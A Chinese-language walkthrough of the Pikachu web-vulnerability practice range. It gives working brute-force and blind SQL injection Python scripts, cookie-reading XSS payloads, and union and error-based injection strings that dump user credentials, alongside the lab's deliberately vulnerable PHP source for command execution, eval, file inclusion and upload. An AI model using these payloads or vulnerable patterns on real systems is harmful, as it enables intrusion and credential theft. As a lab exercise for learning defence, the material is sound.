提示:文章,目录可以自动生成,如何生成可参考右边的帮助文档
目录
前言
Pikachu靶场拥有各类简单的漏洞,能掌握基本的漏洞利用。
提示:以下是本篇文章正文内容,下面案例可供参考
一、暴力破解关
1,基于表单的暴力破解
没什么好说的,直接burpsuite的intruder模块进行字典爆破。
爆出账号为admin,密码是123456
源码:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '<p> login success</p>';
} else{
$html.= '<p> username or password is not exists~</p>';
}
} else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
提交的username和password与数据库users表的username和password字段作比较,相同则登录成功。
2,基于验证码绕过的爆破(on server)
用同一个验证码,进行爆破试试。
验证码一直有效,爆破出密码依旧为admin,123456。
源码:
if(isset($_POST['submit'])) {
if (empty($_POST['username'])) {
$html .= "<p class='notice'>用户名不能为空</p>";
} else {
if (empty($_POST['password'])) {
$html .= "<p class='notice'>密码不能为空</p>";
} else {
if (empty($_POST['vcode'])) {
$html .= "<p class='notice'>验证码不能为空哦!</p>";
} else {
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "<p class='notice'>验证码输入错误哦!</p>";
}else{
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows()==1){
$html.='<p> login success</p>';
}else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
}
}
}
}
增加了验证码的应用,将POST请求的验证码与session[vode]作比较,不相等即不正确,关键在于没有在每一次请求后销毁session[code]并重新生成,导致了验证码一直有效。应当在login success以及else后都进行session[vode]的销毁,并重新生成。
3,验证码绕过(on client)
源代码:
if(isset($_POST['submit'])){
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss', $username, $password);
if ($line_pre->execute()) {
$line_pre->store_result();
if ($line_pre->num_rows > 0) {
$html .= '<p> login success</p>';
} else {
$html .= '<p> username or password is not exists~</p>';
}
} else {
$html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>';
}
}else{
$html .= '<p> please input username and password~</p>';
}
}
前端:
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();
后端并没有出现验证码,仅进行登录,前端通过floor函数生成5个随机数字取数组中对应的索引值作为验证码,validate()保证每次提交验证码都会刷新,并且验证验证码的正确性。禁用掉validate()函数进行抓包爆破或将提交的vode直接去掉进行爆破都可以。
四、Token防爆破?
存在token,并且每次提交后token都会刷新,先看看HTML页面的源码。
页面中隐藏了下一次token的值,可以进行爆破,可使用burpsuite的宏或者正则匹配,这里我使用python脚本。
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = []
f = open('password.txt', encoding='utf-8')
while 1:
num = f.readline().rstrip()
password.append(num)
if not num:
break
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Cookie': 'PHPSESSID=782u3n1vs7s22l76u4vphhjidu'
}
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
# print(req.text)
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')
for pa in password:
req = s.post(url='http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php',
data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'})
if 'success' in req.text:
print("爆破成功,用户名:admin,密码为:%s" % pa)
break
else:
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')
源码分析:
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']){
$username = $_POST['username'];
$password = $_POST['password'];
$token = $_POST['token'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($token == $_SESSION['token']){
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '<p> login success</p>';
} else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}else{
$html.= '<p> csrf token error</p>';
}
}
set_token();
HTML:
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />
通过比较Session[token]的值,并且每次请求后都会利用set_token()刷新token,若不显示刷新后的token值,确实是可以防暴力破解。
二、Cross-Site-Scripting
1,反射型(get)
前端设置了字符串的长度限制,直接去掉就好。
<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="alert('Aiwin')"/>
源码分析:
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
?>
扫描过滤都没有,直接message=<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="console.log(document.cookie)"/>等都能取出cookie
2,反射型(POST)
这里有post登录页,应该要先登录,使用admin/123456登录。
使用上面相同的payload即可。
源码分析:
登录:
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){
$username=escape($link, $_POST['username']);
$password=escape($link, $_POST['password']);
$query="select * from users where username='$username' and password=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
//登录时,生成cookie,1个小时有效期,供其他页面判断
setcookie('ant[uname]',$_POST['username'],time()+3600);
setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600);
header("location:xss_reflected_post.php");
// echo '"<script>windows.location.href="xss_reflected_post.php"</script>';
}else{
$html ="<p>username or password error!</p>";
}
}else{
$html ="<p>please input username and password!</p>";
}
}
登录后:
if(isset($_POST['submit'])){
if(empty($_POST['message'])){
$html.="<p class='notice'>输入'kobe'试试-_-</p>";
}else{
//下面直接将前端输入的参数原封不动的输出了,出现xss
if($_POST['message']=='kobe'){
$html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
}
}
}
if(isset($_GET['logout']) && $_GET['logout'] == '1'){
setcookie('ant[uname]','');
setcookie('ant[pw]','');
header("location:post_login.php");
}
function escape($link,$data){
if(is_string($data)){
return mysqli_real_escape_string($link,$data);
}
if(is_array($data)){
foreach ($data as $key=>$val){
$data[$key]=escape($link,$val);
}
}
return $data;
}
登录时,使用了escape()进行特殊字符如换行符,单引号,双引号,空格进行转义,防止SQL注入,登录成功后,会生成有效期为1小时的cookie,依旧未对信息做任何过滤。
3,存储型
<img src="" οnerrοr='alert(document.cookie)'/>
源码分析:
$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>数据库出现异常,提交失败!</p>";
}
}
if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>";
}else{
$html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>";
}
}
对传入的message数据经过特殊字符转义后(主要针对SQL)插入数据库,导致了存储型的xss,第二个if是进行删除的按钮,通过索引ID进行message的删除,删除成功则立刻跳转到原页面,删除时也未经过任何转义,能够进行sql的盲注。
4,DOM型
输入的信息text会从前端通过javascript生成<a href="text">what do you see </a>
'><img src="#" οnmοuseοver="alert('Aiwin')"/> 先将生成的<a href闭合掉即可。
源码:
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
5,DOM-X型
输入的信息text会出现在URL中
'οnclick="alert(document.cookie)">
源码:
if(isset($_GET['text'])){
$html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<?php echo $html;?>
通过window.location.search匹配URL中?后的部分,通过split提取出text=后面的部分,通过正则全局匹配替换将+号替换成空格,GET请求任何text都会出现<a href='#' οnclick='domxss()'>。跟上一题其实一样,只不过多了一部点击步骤。
6,XSS盲打
两个输入框,是存储型的XSS,但是输入后没有任何输出,看下提示,存在后台,登录后台,后台出现了弹窗。
源码:
后:
<?php
$query="select * from xssblind";
$result=mysqli_query($link, $query);
while($data=mysqli_fetch_assoc($result)){
$html=<<<A
<tr>
<td>{$data['id']}</td>
<td>{$data['time']}</td>
<td>{$data['content']}</td>
<td>{$data['name']}</td>
<td><a href="admin.php?id={$data['id']}">删除</a></td>
</tr>
A;
echo $html;
}
?>
前:
$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
$content=escape($link, $_POST['content']);
$name=escape($link, $_POST['name']);
$time=$time=date('Y-m-d g:i:s');
$query="insert into xssblind(time,content,name) values('$time','$content','$name')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
}else {
$html.="<p>ooo.提交出现异常,请重新提交</p>";
}
}
输入框中提交content,name,date()函数生成time插入数据库中,后台从数据库中一行一行提取出插入的数据到HTML页面,输入和输出的数据都没任何过滤,一旦登录后台,则能进行跨站脚本攻击。
7,XSS之过滤
随便尝试一下,script好像被过滤掉了。
<img src="x" οnerrοr="alert(document.cookie)"/>
源码:
if(isset($_GET['submit']) && $_GET['message'] != null){
//这里会使用正则对<script进行替换为空,也就是过滤掉
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
// $message=str_ireplace('<script>',$_GET['message']);
if($message == 'yes'){
$html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
}else{
$html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
}
}
?>
将输入的message过滤掉了<script,还有很多可以用,黑名单过滤不完全的。
8、XSS之htmlspecialchars
Htmlspecialchars将&->&,"->",<变成<,>变成>,唯一的缺陷就是默认不对单引号过滤。
' οnclick='alert(document.cookie)'
源码:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>输入点啥吧!</p>";
}else {
$message=htmlspecialchars($_GET['message']);
$html1.="<p class='notice'>你的输入已经被记录:</p>";
$html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
$html2.="<a href='{$message}'>{$message}</a>";
}
}
?>
使用了hemlspecialchars对message进行过滤,但是默认不对单引号过滤,依旧可以触发。
9,XSS之href输出
由于在<a href="">标签里,直接使用javascript:alert(1)
源码:
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
}
if($_GET['message'] == 'www.baidu.com'){
$html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
}else {
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
$html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
}
}
?>
输入的message进行了htmlspecialchars,然后输出在<a href="">里面,利用javascript完美绕过。
10、XSS之js输出
好像输入被动态生成在了javascript里
';alert(document.cookie);// '闭合前面引号,//将后面注释掉
三、SQL
1,数字型注入(post)
1 order by 2 爆出两个字段
-1 union select (database()),2 爆出数据库 pikachu
-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 爆出表 httpinfo member message users xssblind
-1 union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
-1 union select (select group_concat(username,'~',password) from pikachu.users),2 爆出账号 密码
源码:
if(isset($_POST['submit']) && $_POST['id']!=null){
$id=$_POST['id'];
$query="select username,email from member where id=$id";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$username=$data['username'];
$email=$data['email'];
$html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
}
}
?>
用户可控输出直接拼接到了select查询。
2,字符型(get)
allen' order by 2 # 爆出两个字段
allen' union select (database()),2# 爆出数据库 pikachu
allen' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
allen' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2# 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
allen' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];
$query="select id,email from member where username='$name'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
查询的是username字符型,闭合直接拼接到了select。
3, 搜索型注入
a%' union select 1,(select database()),3# 爆出数据库
a%' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3 # 爆出表 httpinfo member message users xssblind
a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2,3 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
a%' union select (select group_concat(username,'~',password) from pikachu.users),2,3 # 爆出账号 密码
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];
//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
}
}else{
$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
}
}
使用了%模糊搜索字符型name,需要闭合%和',直接拼接到了select中查询 ,此处还存在反射型XSS漏洞,allen%'#<script>alert(document.cookie)</script>,因为name被直接输出到了页面。
4,XX型注入
a') union select 1,(select database())# 爆出数据库
a') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
a)' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
a') union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是字符型,需要考虑闭合
$query="select id,email from member where username=('$name')";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
闭合单引号和括号,直接拼接到select语句查询。
5、insert/update型
注册的username处进行报错注入
' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
爆表名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '
爆列名
' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
爆数据
源码:
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";
}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}
?>
对输入的POST数据未经过转义,就拼接插入数据库,可以使用报错注入。
6、delete注入
56 and updatexml(1,concat(0x7e,database(),0x7e),1) 爆数据库
56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
爆表名
56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)
爆列名
56 and updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2)
爆数据
源码:
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>出现异常,提交失败!</p>";
}
}
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}
?>
删除数据时,直接拼接了传入的id的值,删除时能进行sql注入
7、HTTP header注入
提示中有登录,进行登录
User-Agent进行注入:
' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '
爆表名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '
爆列名
' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '
爆数据
源码:
$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];
$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);
if(isset($_GET['logout']) && $_GET['logout'] == 1){
setcookie('ant[uname]','',time()-3600);
setcookie('ant[pw]','',time()-3600);
header("location:sqli_header_login.php");
}
?>
直接获取了前端传入的header头信息并未经过处理插入数据库。
8,boolian盲注
import requests
url="http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
last="&submit=%E6%9F%A5%E8%AF%A2"
headers={
'Cookie':'PHPSESSID=ea18qdummjfkob64qdec0b3oho',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
result = ''
for times in range(1, 88):
min = 0
max = 128
mid = (min + max) // 2
while min < max:
url = "http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
#url=url+f"allen'+and+ascii(substr(database()%2C{times}%2C1))>{mid}%23"+last #爆数据库 pikachu
#url=url+f"allen'+and+ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%23"+last #爆表 httpinfo、member、message、user、xssblind
#url = url + f"allen'+and+ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'member')%2C{times}%2C1))>{mid}%23" + last #爆某表字段、如user表,Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv等
url=url+f"allen'+and+ascii(substr((select+group_concat(username)+from+pikachu.member)%2C{times}%2C1))>{mid}%23"+last
resp = requests.get(url,headers=headers)
if 'your email is: allen@pikachu.com' in resp.text:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
result += chr(min)
print(result)
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
?>
打印结果输出的被注释掉了
9,时间盲注
import datetime
import time
import requests
url="http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
last="&submit=%E6%9F%A5%E8%AF%A2"
headers={
'Cookie':'PHPSESSID=ea18qdummjfkob64qdec0b3oho',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
result = ''
for times in range(1, 88):
min = 0
max = 128
mid = (min + max) // 2
while min < max:
url = "http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
#url=url+f"allen'+and+if(ascii(substr(database()%2C{times}%2C1))>{mid}%2Csleep(3)%2C1)%23"+last #爆数据库 pikachu
url=url+f"allen'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%2Csleep(2)%2C1)%23"+last
startTime = time.time()
resp = requests.get(url,headers=headers)
time2 = datetime.datetime.now()
if time.time()-startTime > 2:
min = mid + 1
else:
max = mid
mid = (min + max) // 2
result += chr(min)
print(result)
自己调试下,根据网络的大致情况采取适当的时间。
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{
$html.="<p class='notice'>i don't care who you are!</p>";
}
}
无论输出啥,输出都一样,只能使用时间盲注。
10、宽字节注入
kobe%df' union select 1,database()# 爆数据库名
kobe%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind
kobe%df' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 # 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level
kobe%df' union select (select group_concat(username,'~',password) from pikachu.users),2 # 爆出账号 密码
源码:
if(isset($_POST['submit']) && $_POST['name']!=null){
$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";
$set = "set character_set_client=gbk";
execute($link,$set);
//mysqi_query不打印错误描述
$result=mysqli_query($link, $query);
if(mysqli_num_rows($result) >= 1){
while ($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}
?>
虽然使用了escape对参数name进行转义,但是启用了gbk编码,可以使用%df或其它编码与\构成两字节的编码绕过\
四、RCE
1,exec "ping"
源码分析:
$result='';
if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
$ip=$_POST['ipaddress'];
if(stristr(php_uname('s'), 'windows')){ //判断系统类型
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
}else {
$result.=shell_exec('ping -c 4 '.$ip);
}
}
?>
输入的ipaddress变量未经过过滤,直接进行了命令执行。
2、RCE EVAL
源码:
$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
?>
直接将用户的输入当成了PHP代码执行,很危险。
五、File Inclusion
1,本地文件包含
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
}
?>
传入的参数直接进行了包含,应当使用白名单,规定传入的文件名
2、远程文件包含
源码:
$html1='';
if(!ini_get('allow_url_include')){
$html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
$html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
$html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";//变量传进来直接包含,没做任何的安全限制
}
远程文件包含需要开启PHP的allow_url_include和fopen服务,php6以后magic_quotes_gpc服务默认关闭。
六、unsafedownload
有文件下载的途径,可以尝试一下修改filename的值
源码:
<?php
$PIKA_ROOT_DIR = "../../";
include_once $PIKA_ROOT_DIR."inc/function.php";
$file_path="download/{$_GET['filename']}";
//用以解决中文不能显示出来的问题
$file_path=iconv("utf-8","gb2312",$file_path);
//首先要判断给定的文件存在与否
if(!file_exists($file_path)){
skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php');
return ;
}
$fp=fopen($file_path,"rb");
$file_size=filesize($file_path);
//下载文件需要用到的头
ob_clean();//输出前一定要clean一下,否则图片打不开
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".basename($file_path));
$buffer=1024;
$file_count=0;
//向浏览器返回数据
//循环读取文件流,然后返回到浏览器feof确认是否到EOF
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>
对于传入的文件路径参数未经过任何过滤即允许下载,不安全。
七、 文件上传
1,client check
前端js检查,直接<?php phpinfo();?>的txt文件改为jpg文件,上传用burpsutie抓包修改为php文件, 或直接删除前端js检查都可。
源码:
function checkFileExt(filename)
{
var flag = false; //状态
var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
根据提交的文件取后缀名与数组中的作比较,不允许则不行,前端是不可信的。
2,MIME-type
对Content-Type进行检查,burpsuite修改Content-type即可,将Content-type改成image/jpeg
源码:
$html='';
if(isset($_POST['submit'])){
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
?>
